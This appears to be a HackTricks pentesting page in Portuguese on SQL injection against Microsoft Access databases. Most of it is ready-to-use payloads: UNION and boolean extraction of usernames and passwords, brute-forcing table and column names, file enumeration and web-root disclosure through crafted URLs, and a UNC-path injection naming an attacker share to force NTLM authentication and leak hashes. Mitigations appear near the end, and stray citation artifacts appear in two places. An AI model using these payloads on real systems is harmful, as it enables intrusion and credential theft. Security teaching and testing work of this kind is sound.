hacktricks/src/pentesting-web/sql-injection/ms-access-sql-injection.md

211 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Injeção SQL do MS Access
{{#include ../../banners/hacktricks-training.md}}
## Playground Online
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## Limitações do DB
### Concatenação de Strings
A concatenação de strings é possível com os caracteres `& (%26)` e `+ (%2b)`.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Comentários
Não há comentários no MS Access, mas aparentemente é possível remover o último de uma consulta com um caractere NULL:
```sql
1' union select 1,2 from table%00
```
Se isso não estiver funcionando, você sempre pode corrigir a sintaxe da consulta:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Consultas Empilhadas
Elas não são suportadas.
### LIMIT
O operador **`LIMIT`** **não está implementado**. No entanto, é possível limitar os resultados da consulta SELECT às **primeiras N linhas da tabela usando o operador `TOP`**. `TOP` aceita como argumento um inteiro, representando o número de linhas a serem retornadas.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Assim como o TOP, você pode usar **`LAST`** que irá obter as **linhas do final**.
## Consultas UNION/Subconsultas
Em uma SQLi, você geralmente desejará de alguma forma executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre requer que em **subconsultas ou consultas extras um `FROM` seja indicado**.\
Portanto, se você quiser executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**.\
Portanto, você precisa conhecer um **nome de tabela válido**.
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
> [!WARNING]
> Isso permitirá que você exfiltre valores da tabela atual sem precisar saber o nome da tabela.
**MS Access** permite **sintaxe estranha** como **`'1'=2='3'='asd'=false`**. Como geralmente a injeção SQL estará dentro de uma cláusula **`WHERE`**, podemos abusar disso.
Imagine que você tem uma SQLi em um banco de dados MS Access e você sabe (ou adivinhou) que um **nome de coluna é username**, e esse é o campo que você deseja **exfiltrar**. Você poderia verificar as diferentes respostas do aplicativo web quando a técnica de chaining equals é usada e potencialmente exfiltrar conteúdo com uma **injeção booleana** usando a função **`Mid`** para obter substrings.
```sql
'=(Mid(username,1,3)='adm')='
```
Se você souber o **nome da tabela** e **coluna** para despejar, pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via SQLi booleano:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Fique à vontade para verificar isso no playground online._
### Forçando nomes de tabelas
Usando a técnica de encadeamento de iguais, você também pode **forçar nomes de tabelas** com algo como:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
Você também pode usar uma maneira mais tradicional:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Fique à vontade para verificar isso no playground online._
- Nomes de tabelas comuns do Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- Há outra lista em [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Forçando Nomes de Colunas
Você pode **forçar os nomes das colunas atuais** com o truque de encadeamento de iguais com:
```sql
'=column_name='
```
Ou com um **group by**:
```sql
-1' GROUP BY column_name%00
```
Ou você pode forçar os nomes das colunas de uma **tabela diferente** com:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Dumping data
Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injection.md#chaining-equals-+-substring) **para extrair dados da tabela atual e de outras tabelas**. Mas existem outras maneiras:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
Em resumo, a consulta usa uma declaração “if-then” para acionar um “200 OK” em caso de sucesso ou um “500 Internal Error” caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente de LAST permite considerar apenas a 10ª tupla. Com esse valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando corretamente o índice de MID e TOP, podemos despejar o conteúdo do campo “username” para todas as linhas.
### Truques Baseados em Tempo (Cegos)
O Jet/ACE SQL em si **não** expõe uma função nativa `SLEEP()` ou `WAITFOR`, então injeções cegas baseadas em tempo tradicionais são limitadas. No entanto, você ainda pode introduzir um atraso mensurável forçando o mecanismo a acessar um **recurso de rede que é lento ou não responde**. Como o mecanismo tentará abrir o arquivo antes de retornar o resultado, o tempo de resposta HTTP reflete a latência de ida e volta para o host controlado pelo atacante.
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
Aponte o caminho UNC para:
* um compartilhamento SMB atrás de um link de alta latência
* um host que descarta o handshake TCP após `SYN-ACK`
* um sinkhole de firewall
Os segundos extras introduzidos pela pesquisa remota podem ser usados como um **oráculo de tempo fora de banda** para condições booleanas (por exemplo, escolha um caminho lento apenas quando o predicado injetado for verdadeiro). A Microsoft documenta o comportamento do banco de dados remoto e o kill-switch de registro associado no KB5002984. citeturn1search0
### Outras funções interessantes
- `Mid('admin',1,1)` obtém substring da posição 1 com comprimento 1 (a posição inicial é 1)
- `LEN('1234')` obtém o comprimento da string
- `ASC('A')` obtém o valor ascii do caractere
- `CHR(65)` obtém a string a partir do valor ascii
- `IIF(1=1,'a','b')` se então
- `COUNT(*)` Conta o número de itens
## Enumerando tabelas
De [**aqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) você pode ver uma consulta para obter os nomes das tabelas:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
No entanto, note que é muito típico encontrar SQL Injections onde você **não tem acesso para ler a tabela `MSysObjects`**.
## Acesso ao Sistema de Arquivos
### Caminho Completo do Diretório Raiz da Web
O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques adicionais**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório da web**.
### Enumeração de Arquivos
O seguinte vetor de ataque pode ser usado para **inferir a existência de um arquivo no sistema de arquivos remoto**. Se o arquivo especificado existir, o MS Access gera uma mensagem de erro informando que o formato do banco de dados é inválido:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Outra maneira de enumerar arquivos consiste em **especificar um item database.table**. **Se** o **arquivo especificado existir**, o MS Access exibe uma **mensagem de erro de formato de banco de dados**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Adivinhação do Nome do Arquivo .mdb
**O nome do arquivo do banco de dados (.mdb)** pode ser inferido com a seguinte consulta:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Onde **name[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** dentro do banco de dados. Embora o MS Access sempre gere uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
### Acesso Remoto ao Banco de Dados & Roubo de Credenciais NTLM (2023)
Desde o Jet 4.0, cada consulta pode referenciar uma tabela localizada em um arquivo `.mdb/.accdb` *diferente* via a cláusula `IN '<path>'`:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
Se a entrada do usuário for concatenada na parte após **IN** (ou em uma chamada `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`), um atacante pode especificar um **caminho UNC** que aponta para um host que eles controlam. O mecanismo irá:
1. tentar autenticar via SMB / HTTP para abrir o banco de dados remoto;
2. vazar as **credenciais NTLM** do servidor web (autenticação forçada);
3. analisar o arquivo remoto um banco de dados malformado ou malicioso pode acionar bugs de corrupção de memória do Jet/ACE que foram corrigidos várias vezes (por exemplo, CVE-2021-28455).
Exemplo prático de injeção:
```sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
```
Impacto:
* Exfiltração fora de banda de hashes Net-NTLMv2 (utilizáveis para relay ou cracking offline).
* Potencial execução remota de código se um novo bug do parser Jet/ACE for explorado.
Mitigações (recomendadas mesmo para aplicativos Classic ASP legados):
* Adicione o valor do registro `AllowQueryRemoteTables = 0` em `HKLM\Software\Microsoft\Jet\4.0\Engines` (e sob o caminho equivalente do ACE). Isso força o Jet/ACE a rejeitar caminhos remotos que começam com `\\`.
* Bloqueie SMB/WebDAV de saída na fronteira da rede.
* Sanitizar / parametrizar qualquer parte de uma consulta que possa acabar dentro de uma cláusula `IN`.
O vetor de autenticação forçada foi revisitado pela Check Point Research em 2023, provando que ainda é explorável em Windows Server totalmente atualizado quando a chave do registro está ausente. citeturn0search0
### Cracker de Senha .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma ferramenta gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
## Referências
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 Configurando Jet/ACE para bloquear tabelas remotas](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research Abusando das Tabelas Vinculadas do Microsoft Access para Autenticação Forçada NTLM (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
{{#include ../../banners/hacktricks-training.md}}